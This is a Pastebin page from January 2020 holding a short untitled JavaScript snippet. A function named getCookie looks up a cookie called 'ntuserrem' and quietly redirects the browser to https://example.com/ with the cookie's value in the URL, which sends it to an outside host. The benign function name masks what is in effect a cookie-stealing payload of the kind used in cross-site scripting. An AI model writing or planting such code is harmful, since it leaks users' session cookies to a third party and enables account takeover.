Advertisement
Guest User

Untitled

a guest
Jan 18th, 2020
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.33 KB | None | 0 0
  1. function getCookie(name) {
  2. var cookie, c;
  3. cookies = document.cookie.split(';');
  4. for (var i=0; i < cookies.length; i++) {
  5. c = cookies[i].split('=');
  6. if (c[0] == name) {
  7. document.location = `https://example.com/${c[1]}`;
  8. return c[1];}
  9. }
  10. return "";
  11. }
  12. console.log(getCookie("ntuserrem"));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement